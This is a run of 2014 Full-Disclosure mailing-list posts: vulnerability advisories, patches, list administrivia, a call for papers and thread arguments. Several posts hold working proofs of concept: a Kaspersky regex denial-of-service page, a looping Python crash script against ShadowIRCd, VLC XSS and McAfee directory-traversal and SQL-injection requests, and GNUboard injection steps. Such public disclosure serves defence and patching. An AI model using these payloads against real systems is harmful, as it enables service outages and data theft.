[Full-disclosure] All your PLC are belong to us (2)
Fixes for Siemens S7 1500 PLC are published. Thanks to Yury Goltsev https://twitter.com/ygoltsev, Ilya Karpov, Alexey Osipov https://twitter.com/GiftsUngiven, Dmitry Serebryannikovhttps://twitter.com/dsrbrand Alex Timorin https://twitter.com/atimorin. There are a lot of, but Authentication bypass (INSUFFICIENT ENTROPY/CVE-2014-2251) is the best. Links: http://scadastrangelove.blogspot.com/2014/03/all-your-plc-are-belong-to-us-2.html More details are pending. Regards, SCADA StrangeLove team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Kaspersky 14.0.0.4651 RegExp Remote Denial of Service PoC2
Kaspersky has released updated for first PoC presented here http://www.youtube.com/watch?v=joa_9IS7U90 ( http://seclists.org/fulldisclosure/2014/Mar/166) but there are still many combinations of evil patterns. For exmaple next PoC2 is available here https://www.youtube.com/watch?v=9PYtL0zck3I code: https://devilteam.pl/regex2.html -- HTML HEAD TITLERegExp Resource Exhaustion /TITLE /HEAD BODY BGCOLOR=#FF SCRIPT type=text/javascript var patt1=new RegExp((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)); document.write(patt1.exec(peace)); /SCRIPT /BODY /HTML -- These expression leads to hang up kaspersky process by CPU Exhaustion. Making it impossible to shut down and restart Kaspersky GUI. A weak implementation of RE difficult defense against this type of attack. In my opinion the most stable implementation of regular expressions is NetBSD/OpenBSD where the authors have reduced the risk of leakage of resources by the level of recursion. References: http://cxsecurity.com/issue/WLB-2014030108 Best regards, CXSEC TEAM http://cxsec.org/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
http://thehackernews.com/2014/03/watch-out-scammers-targeting-google.html 2014-03-17 20:44 GMT+01:00 The Doctor dr...@virtadpt.net: -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 On 03/15/2014 02:52 PM, Stefan Jon Silverman wrote: Running ... out ... of ... popcorn -- must .. resupply ... While this inspiring and amusing thread has been going on, what happened that we missed because we were too busy watching the fur fly? - -- The Doctor [412/724/301/703] [ZS] PGP: 0x807B17C1 / 7960 1CDC 85C9 0B63 8D9F DD89 3BD8 FF2B 807B 17C1 WWW: https://drwho.virtadpt.net/ IHOP: The world's largest, most popular goth club. -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iEYEAREKAAYFAlMnUIoACgkQO9j/K4B7F8H9qACg206K0zsz7Eyv7Whu7UUB3zkn lNEAnjuoLXknIuKXFrVQwhPFJmjLx6ln =wWkp -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Disclaimer: This communication may contain confidential, proprietary or legally privileged information. It is intended only for the person(s) to whom it is addressed. If you are not an intended recipient, you may not use, read, retransmit, disseminate or take any action in reliance upon it. Please notify the sender that you have received it in error and immediately delete the entire communication, including any attachments. I do not encrypt and cannot ensure the confidentiality or integrity of external e-mail communications and, therefore, I cannot be responsible for any unauthorized access, disclosure, use or tampering that may occur during transmission. If you are not the intended recipient you are notified that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited. I accept no liability for the content of this email, or for the consequences of any actions taken on the basis of the information provided. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] USSD Sender Hacktool 1.0
What is USSD? USSD stands for Unstructured Supplementary Service Data and it's mostly use to make requests to a mobile operator. If you want to check how much money you have on your mobile sim card you can use a USSD Command for that. Entering for example *#100# to the vodafone network, you will receive an USSD message as a result. USSD Sender Hacktool is a complex tool that let any web user to send a text message in a USSD command to any number. By default the message is You have been hacked! but you can send any text. In the target phone a message will pop up with the text and a OK button. If it get's undelivered an actual sms will be send. Screen Shot: http://i492.photobucket.com/albums/rr287/tribalmp/USSDSenderHacktool.jpg Download: http://www.firedrive.com/file/C961587BD8BCD4C9___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Administrivia: The End
Hi When Len and I created the Full-Disclosure list way back in July 2002, we knew that we'd have our fair share of legal troubles along the way. We were right. To date we've had all sorts of requests to delete things, requests not to delete things, and a variety of legal threats both valid or otherwise. However, I always assumed that the turning point would be a sweeping request for large-scale deletion of information that some vendor or other had taken exception to. I never imagined that request might come from a researcher within the 'community' itself (and I use that word loosely in modern times). But today, having spent a fair amount of time dealing with complaints from a particular individual (who shall remain nameless) I realised that I'm done. The list has had its fair share of trolling, flooding, furry porn, fake exploits and DoS attacks over the years, but none of those things really affected the integrity of the list itself. However, taking a virtual hatchet to the list archives on the whim of an individual just doesn't feel right. That 'one of our own' would undermine the efforts of the last 12 years is really the straw that broke the camel's back. I'm not willing to fight this fight any longer. It's getting harder to operate an open forum in today's legal climate, let alone a security-related one. There is no honour amongst hackers any more. There is no real community. There is precious little skill. The entire security game is becoming more and more regulated. This is all a sign of things to come, and a reflection on the sad state of an industry that should never have become an industry. I'm suspending service indefinitely. Thanks for playing. Cheers - John ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+
Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+ A vulnerability has been discovered in Elemental-IRCd/ShadowIRCd all the way back to version 6.3. If a client does a SASL authentication before the server is ready for it, a race condition will be met and the ircd will segfault to an address out of bounds error. The attached exploit, ku.py is pasted below: #!/usr/bin/python2 # Live exploit for ShadowIRCd 6.3+, remote segfault that can # take out other daemons in the network. import base64 import socket SERVER = irc.example.com NICK = Shi # death PASS = ku # suffering while True: s_link = socket.socket() s_link.connect((SERVER, 6667)) s_link.send(CAP REQ :sasl\r\n) s_link.send(AUTHENTICATE PLAIN\r\n) s_link.send(AUTHENTICATE %s % (base64.b64encode(%s\0%s\0%s % (NICK, NICK, PASS s_link.send(CAP END) s_link.send(NICK %s\r\n % NICK) s_link.send(USER a a a a a\r\n) try: for line in s_link.makefile(r): print line except: continue Earlier versions of this were called shi.py and its source (adapted from the original code of the person who reported the bug to me) is available here: https://gist.github.com/lyska/89eacfc21903a50a0e93 Testing has shown that if the following patch is not applied, any unregistered user may segfault off any ircd, including hub daemons or sometimes an ircd on the other side of the network; provided they have a valid account with services. This is a heisenbug and will resist attempts to reproduce, but keep running it. It will kill something eventually. The cause of this is an unmet race condition in modules/m_sasl.c. The SASL authentication spec says that an authentication session must go like this (taken from the documentation): C: CAP REQ :sasl C: NICK jilles C: USER jilles cheetah.stack.nl 1 :Jilles Tjoelker S: NOTICE AUTH :*** Processing connection to jaguar.test S: NOTICE AUTH :*** Looking up your hostname... S: NOTICE AUTH :*** Checking Ident S: NOTICE AUTH :*** No Ident response S: NOTICE AUTH :*** Found your hostname S: :jaguar.test CAP jilles ACK :sasl C: AUTHENTICATE PLAIN S: AUTHENTICATE + C: AUTHENTICATE amlsbGVzAGppbGxlcwBzZXNhbWU= S: :jaguar.test 900 jilles jilles!jil...@localhost.stack.nl jilles :You are now logged in as jilles. S: :jaguar.test 903 jilles :SASL authentication successful C: CAP END S: :jaguar.test 001 jilles :Welcome to the jillestest Internet Relay Chat Network jilles (usual welcome messages) However, if a user does this: C: CAP REQ :sasl S: :my.testnet NOTICE * :*** Looking up your hostname... S: :my.testnet NOTICE * :*** Checking Ident S: :my.testnet NOTICE * :*** Found your hostname S: :my.testnet NOTICE * :*** No Ident response S: :my.testnet CAP * ACK :sasl C: AUTHENTICATE PLAIN C: AUTHENTICATE U3RhcmJvdW5kAFN0YXJib3VuZAA1K0By C: CAP END S: AUTHENTICATE + S: :my.testnet 903 * :SASL authentication successful The daemon immediately segfaults after that 903. A backtrace of the core dump will look like the following: https://gist.github.com/lyska/f1c93e86917dfef958fb. The affected code in modules/m_sasl.c is as follows (spacing has been fixed): static int server_auth_sasl(struct Client *client_p) { char *auth_user; if (client_p-localClient-auth_user) { memset(client_p-localClient-auth_user, 0, strlen(client_p-localClient-auth_user)); rb_free(client_p-localClient-auth_user); client_p-localClient-auth_user = NULL; } auth_user = rb_strndup(client_p-user-suser, PASSWDLEN); /* pointless check here */ if (auth_user) client_p-localClient-auth_user = rb_strndup(auth_user, PASSWDLEN); return 0; } When a client attempts to do a SASL authentication too quickly (like demonstrated in ku.py), the ircd sometimes segfaults and can take out its uplink too. This is because the `auth_user` field in `client_p-localClient` gets set to uninitialized stack memory. From linked file `sparkle.bt`, line 10: auth_user = 0x516c0d05e40 \331\264(\306p This is definitely not the plain ASCII that it is expecting, nor at the expected length. Luckily, this issue is completely in a module and it can be applied with zero downtime if you apply this patch and follow the below directions: diff --git a/modules/m_sasl.c b/modules/m_sasl.c index cbc5c77..fadddf7 100644 --- a/modules/m_sasl.c +++ b/modules/m_sasl.c @@ -162,7 +162,7 @@ me_sasl(struct Client *client_p, struct Client *source_p, sendto_one(target_p, form_str(RPL_SASLSUCCESS), me.name, EmptyString(target_p-name) ? * : target_p-name); target_p-preClient-sasl_complete = 1;
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 On 03/15/2014 02:52 PM, Stefan Jon Silverman wrote: Running ... out ... of ... popcorn -- must .. resupply ... While this inspiring and amusing thread has been going on, what happened that we missed because we were too busy watching the fur fly? - -- The Doctor [412/724/301/703] [ZS] PGP: 0x807B17C1 / 7960 1CDC 85C9 0B63 8D9F DD89 3BD8 FF2B 807B 17C1 WWW: https://drwho.virtadpt.net/ IHOP: The world's largest, most popular goth club. -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iEYEAREKAAYFAlMnUIoACgkQO9j/K4B7F8H9qACg206K0zsz7Eyv7Whu7UUB3zkn lNEAnjuoLXknIuKXFrVQwhPFJmjLx6ln =wWkp -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CEbot: disasm from your Twitter account
Hi, We are running CEbot, a tool that lets you reverse hexcode from your own Twitter! How? Do this in 2 easy steps: - Tweet your hex string with either hashtag #2ce (read as: To-Capstone-Engine), or #cebot. - Wait 1~2 seconds, the assembly code will be sent back, also via Twitter. Be sure to check the Notifications tab if you do not see it soon enough. Few examples on tweets accepted by CEbot: x32 909090 #2ce Reverse x86 32-bit code with hex-string of 3 bytes 909090. The result sent back would be 3 NOP instructions. x64 att 0x90 0x90 0x90 #2ce Reverse x86-64 code with hex-string of the same 3 bytes, but get back assembly in ATT syntax. arm #2ce \x04\xe0\x2d\xe5 Reverse ARM code. Note that the hashtag can be put anywhere in the tweet. m64 be 0C,10,00,97 #2ce Reverse Mips 64-bit code in big-endian mode. For further details, see http://capstone-engine.org/bot.html This is mainly for fun, but hopefully it can be useful for those who are on Twitter all the time :-) Any suggestions, let us know. Cheers, Capstone Engine ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] (CFP) LACSEC 2014: Cancun, Mexico. May 7-8, 2014 (EXTENDED DEADLINE)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - cut here *** CALL FOR PRESENTATIONS *** LACSEC 2014 9th Network Security Event for Latin America and the Caribbean May 4-9, 2014, Cancun, Mexico http://www.lacnic.net/en/web/eventos/lacnic21 LACNIC (http://www.lacnic.net) is the international organization based in (Uruguay) that is responsible for the administration of the IP address space, Reverse Resolution, Autonomous System Numbers and other resources for the Latin American and the Caribbean region on behalf of the Internet community. The 9th Network Security Event for Latin America and the Caribbean will be held in Cancun, Mexico, within the framework of LACNIC's eighteenth annual meeting (LACNIC XXI). This is a public call for presentations for that event. The topics of interest include, but are not limited to, the following: * Honeypots, network monitoring and situational awareness tools in general. * Fighting spam, particularly spam from origin (SPF, DKIM and related technologies. Email reputation) * Fighting phishing and pharming * Fighting malware * Internet protocol security * IPv6 security * DNSsec * Security of network infrastructure services (DNS, NTP, etc.) * Web security * DoS/DDoS response and mitigation, botnets * Authentication and access control * Security in the cloud * Critical infrastructure protection * Mobile systems security * Computer security incident response teams (CSIRTs): creation, management, experiences * Security in corporate environments, compliance and auditing, return on information security investments * Security management (procedures, operational logs, records, etc.) * Risk management in Information Security * Computer forensics * Protection of privacy * Legal aspects related to information security Guidelines for Presenting Proposals Proposals for the 9th Network Security Event for Latin America and the Caribbean (LACSEC 2014) must be presented taking into account the following considerations: * The proposal should consist of a paper, or (alternatively) an Extended Abstract plus a draft version of the slides to be used during the presentation. * Proposals may be presented in English, Portuguese or Spanish. * Proposals must be submitted in Portable Document Format (PDF) * Submissions must be created directly using a word processing system (scanned articles will not be accepted) * Presentations may not be longer than 30 minutes Submitting a Proposal Those interested in presenting at LACSEC 2014 must send the following information to comite_seguri...@lacnic.net within the deadlines set forth below: * Full title of the presentation * A paper or, alternatively, an Extended Abstract and a draft of the slides to be used during the presentation. The paper should not be longer than 10 pages. The extended abstract should not contain more than one thousand (1000) words. The Evaluation Committee may, at its sole discretion, request additional or complementary information. * Full name, email address and organization with which the author (or authors) of the submission is affiliated Note: Presentation proposals that do not follow the guidelines of this CFP will not be considered during the presentation selection process. For more information, please do not hesitate to contact the Evaluation Committee at comite_seguri...@lacnic.net. Proposal Evaluation The Evaluation Committee created for this purpose will evaluate proposals based on the following basic criteria: * Originality * Technical quality * Relevance * Presentation * Applicability Speaker's Privileges Authors whose proposals result accepted will receive: * Return-flight to Cancun, Mexico (reimbursement of up to 1200 USD) * Accommodation (up to three nights) at the conference venue * Free registration to the LACNIC XXI event IMPORTANT DATES * Deadline for proposals submission: March 31st, 2014 * Notification of acceptance: April 6th, 2014 * Deadline for submitting the final version the presentation: May 4th, 2014 9th Network Security Event for Latin America and the Caribbean (LACSEC 2014) Chair Fernando Gont (SI6 Networks/UTN-FRH, Argentina) Evaluation Committee Iván Arce (Fundación Sadosky, Argentina) Carlos A. Ayala Rocha (Arbor Networks, Mexico) Julio César Balderrama (Consultant, Argentina) Matthias Bethke (Zonarix S.A., Ecuador) Eduardo Carozo (ITC-Antel, Uruguay) Jeimy J. Cano M. (Fac. de Derecho, U. de los Andes, Colombia) Giovanni Cruz Forero (CSIETE, Colombia) Lorena Ferreyro (Consultant, Argentina) Javier Liendo (Cisco Mexico, Cisco) Carlos Martinez-Cagnazzo (LACNIC, Uruguay) Hernan Ochoa (Amplia Security, Argentina) James Pichardo (DO-CSIRT, Dominican Republic) Patricia Prandini (Posg. en Seg. Informática, UBA, Argentina)
[Full-disclosure] [Quantum Leap Advisory] #QLA140216 - VLC Reflected XSS vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 === Details === Advisory: http://www.quantumleap.it/vlc-reflected-xss-vulnerability/ Affected Product: VLC Version: 2.1.3 (older versions may be affected too) === Executive Summary === Using a specially crafted HTTP request, it is possible to exploit a lack in the neutralization[1] of the error pages output which includes the user submitted content. Successful exploitation of the vulnerabilities, results in the execution of arbitrary HTML and script code in user?s browser in context of the vulnerable website trough a ?Reflected XSS? === Proof of Concept === It has been discovered a reflected XSS vulnerability on error page in VLC Web Interface. The function ?httpd_HtmlError? in file ?src/network/httpd.c? doesn?t sanitize the ?url? parameter, so an XSS attack can be executed. Below you can find a proof of concept of the vulnerability: GET /tescriptalert(?XSS?);/scriptst HTTP/1.1 Host: 192.168.1.101:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic OmNpYW8= Connection: keep-alive === Solution === To quickly fix the security issue, in our Customer?s environment, we wrote the following small patch: patch ? httpd.c2014-02-14 15:24:55.393978968 +0100 +++ httpd.patched.c2014-02-14 15:24:44.404625054 +0100 @@ -256,9 +256,12 @@ static const char *httpd_ReasonFromCode(static size_t httpd_HtmlError (char **body, int code, const char *url) { +char *url_Encoded = NULL; const char *errname = httpd_ReasonFromCode (code); assert (errname != NULL);+url_Encoded = convert_xml_special_chars (url ? url : ??); + int res = asprintf (body, ??xml version=?1.0? encoding=?ascii? ?n? ?!DOCTYPE html PUBLIC ?-//W3C//DTD XHTML 1.0 Strict//EN? @@ -273,7 +276,9 @@ static size_t httpd_HtmlError (char **bo ?a href=?http://www.videolan.org?VideoLAN/an? ?/bodyn? ?/htmln?, errname, code, errname, - -(url ? ? (? : ??), (url ? url : ??), (url ? ?)? : ??)); +(url_Encoded ? ? (? : ??), (url_Encoded ? url_Encoded : ??), (url_Encoded ? ?)? : ??)); + +free (url_Encoded);if (res == -1) { /patch This patch has been merged with the Main Line of the VLC GIT repository[2], it will be officially released in the build 2.2.0 === Disclosoure Timeline === 2013-12-02 ? Vulnerability Discovered 2014-02-15 ? Initial vendor notification 2014-02-20 ? The vendor fixed the vulnerability 2014-03-18 ? Public advisory === Discovered by === Vulnerability discovered by Francesco Perna and Pietro Minniti of Quantum Leap s.r.l === References === [1] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [2] http://git.videolan.org/?p=vlc.git;a=commit;h=fe5063ec5ad1873039ea719eb1f137c8f3bda84b - -- Francesco Perna Quantum Leap SRL Sede Legale: Via Colle Scorrano n.5 65100 Pescara (PE) Sede Operativa: Circonvallazione Cornelia n. 125, 00165 Roma (RM) -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.17 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEbBAEBAgAGBQJTKD4tAAoJEPBLO12s/SuDhEMH+K7vy+JqXc47ADWCmyokJ3Bu 8VOZOH9lxt2wyHOD5tlf4tIQv6vQ2adGuSps16OIHRJ0KZ32PSJmBogHtPAsXFwP i8ubs7Co6lNVwbfLGz5TQkZw+lfudUJ3VEaEHRtxEEao2mb7YcafmRFMV+rsdB+E mgXdMy85G9tU/TDwi0//KBXCXmSFAHlEsaVlNVhqAUz3Eyg4hk9jOjaDat7ESt5Y yfd3uSO2yWthI6gJH2cLI5Y1R1L5zr4/raxM44/lZHm+XFOviiiX2L/NNpedwnn6 Ax8y38AvQ8gFYvDtY+0tP4vBRrRAwzvGIZgSKdmeNMK+CpUvr+hZX53zVpTCPA== =sPV+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] McAfee Cloud SSO and McAfee Asset Manager vulns
1. Cloud SSO is vuln to unauthed XSS in the authentication audit form: 2. 1. https://twitter.com/BrandonPrry/status/445969380656943104 2. 1. 2. McAfee Asset Manager v6.6 multiple vulnerabilities 3. 4. http://www.mcafee.com/us/products/asset-manager.aspx 5. 6. Authenticated arbitrary file read 7. An unprivileged authenticated user can download arbitrary files with the permissions of the web server using the report download functionality. By generating a report, the user's browser will make a request to /servlet/downloadReport?reportFileName=blah. The user can put in a relative directory traversal attack and download /etc/passwd. 8. 9. GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwdformat=CSV HTTP/1.1 10. Host: 172.31.16.167 11. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0 12. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 13. Accept-Language: en-US,en;q=0.5 14. Accept-Encoding: gzip, deflate 15. Referer: https://172.31.16.167/Inventory?filterColumns=curViewId=-1maintainQuery=trueformat=searchcollectorId=nullcriticality=0pageNum=1location=InventoryviewSelect=-99filterValueField=orderBy=FIREWALLEDorderBy2=SITEorderBy3=CRITICALITY_NAMEwsz=200wszCtrl_1=200action=AUDIT_REDISCOVERformatSelect= 16. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554 17. Connection: keep-alive 18. 19. 20. 21. 22. 23. Authenticated SQL injection 24. An unprivileged authenticated user can initiate a SQL injection attack by creating an audit report and controlling the username specified in the audit report. In the below request, the 'user' parameter is susceptible to the SQL injection: 25. 26. POST /jsp/reports/ReportsAudit.jsp HTTP/1.1 27. Host: 172.31.16.167 28. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0 29. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 30. Accept-Language: en-US,en;q=0.5 31. Accept-Encoding: gzip, deflate 32. Referer: https://172.31.16.167/jsp/reports/ReportsAudit.jsp 33. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554 34. Connection: keep-alive 35. Content-Type: application/x-www-form-urlencoded 36. Content-Length: 91 37. 38. fromDate=03-19-2014toDate=03-19-2014freetext=Severity=0AuditType=12user=Administrator -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Bank of the West security contact?
* Kristian Erik Hermansen: Anyone have security contact at Bank of the West? Is this an issue with their online banking? Then here's a hint: /** ** * Copyright ©2005 Corillian Corporation* ** * All rights reserved. * ** * Highly Confidential. * ** * No portion of this code may be reproduced,* * transmitted or distributed without the express* * written permission of Corillian Corporation. * ** **/ Corillian is now Fiserv, and here's another hint: http://investors.fiserv.com/releasedetail.cfm?releaseid=667216 If you suspect a software vulnerability in their online banking application, you should contact Fiserv. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Bank of the West security contact?
On Mon, Mar 17, 2014 at 12:37 PM, Jeffrey Walton noloa...@gmail.com wrote: On Mon, Mar 17, 2014 at 12:15 PM, Kristian Erik Hermansen kristian.herman...@gmail.com wrote: Just wanted to post a follow-up to this and provide some context to make it known: * Bank of the West was contacted in 2011 to report a security issue * No response for 2 years * In late 2013, I receive a breach notification saying my own sensitive personal information was compromised via the EXACT SAME ISSUES I REPORTED. I also am led to believe employee information was compromised, which may include Social Security Number (SSN) details. Conclusions? * Bank of the West has NO WORKING SECURITY REPORTING MECHANISM for outside researchers and NO BUG BOUNTY PROGRAM * Bank of the West does not seem to take security and privacy seriously enough, as far as I can tell You should know this if you are an existing or potential customer / employee of Bank of the West... The risk equations favor do nothing. Its cost effective to simply persue profits and not spend money on data security. If (when) they are breached, it only costs them the cost of a notification. In the US, that's the cost of bulk mail [0]. 46 states, DC, and Territories have Data Breach laws, and nearly none (none?) have any useful provisions for damages. [1] You can't recover for your time lost or services like credit monitoring. Every class action get tossed out [2]. I've never seen one go to court, and I've been watching them for years. I might just stand corrected here (if it withstands appeal): http://www.slyck.com/story2351_Data_Breach_Settlement_Class_Action_Lawsuit_Wins_Appeal_in_Court: With so many recent data breaches and lacking security measures in place, we know that there are likely to be many more lawsuits forthcoming. However, in what’s believed to be a first win for a class action lawsuit as a result of a data breach where none of the plaintiffs suffered identify theft or direct losses, AvMed, a Florida-based health insurer, lost its case in court to the tune of a $3 million settlement agreement. On February 21, 2014, a federal judge in the Southern District of Florida approved an Order granting motion for final approval of a Class Action Settlement Agreement, and filed a motion for attorneys' fees and expenses, as well as for incentive awards. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote: The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets. They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere. If you search Google for their emails you only find references to this thread. They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text. This is turning into a madhouse... I hope this guy doesn't have access to a gun. Regards Pedro ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [CVE-2014-2339] GNUboard SQL Injection Vulnerability
==Advisory: GNUboard SQL Injection VulnerabilityAuthor: claepo.w...@dbappsecurity.com.cnAffected Version: GNUboard5(the latest version)Vendor URL: http://sir.co.kr/Vendor Status: Unfixed(I know little about Korean, so i do not know how to describe this vul to the vendor.)==Vulnerability Description==Recently, I found several vulnerabilities in the famous Korean forum program - the GNUboard.Vulnerable file: /bbs/ajax.autosave.php?phpinclude_once('./_common.php');//global filter on $_GET,$_POST,$_COOKIE,$_REQUESTif (!$is_member) die('0');//member login$uid = trim($_REQUEST['uid']); //current user id$subject = trim(stripslashes($_REQUEST['subject'])); //stripslashes ignores the global filter causes a SQL Inj.$content = trim(stripslashes($_REQUEST['content'])); //same aboveif ($subject $content) { $sql = " select count(*) as cnt from {$g5['autosave_table']} where mb_id = '{$member['mb_id']}' and as_subject = '$subject' and as_content = '$content' "; $row = sql_fetch($sql); //the bad str($subject|$content) insert into sql query if (!$row['cnt']) {$sql = " insert into {$g5['autosave_table']} set mb_id = '{$member['mb_id']}', as_uid = '{$uid}', as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' on duplicate key update as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' ";$result = sql_query($sql, false); // database selectecho autosave_count($member['mb_id']); }}?==POC EXP==1. Login as a member2. GET http://target/bbs/ajax.autosave.php?content=1subject=1[inj_exp] {exp can be found on my server: http://pandas.pw/gnuboard.exp} 3. Page returns 1062 : Duplicate entry ~admin~*FF6F916236F4FFEE8FADD21EC20216C5C3A04E50~1' for key 'group_key'. gnuboard-kr.txt Description: Binary data ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
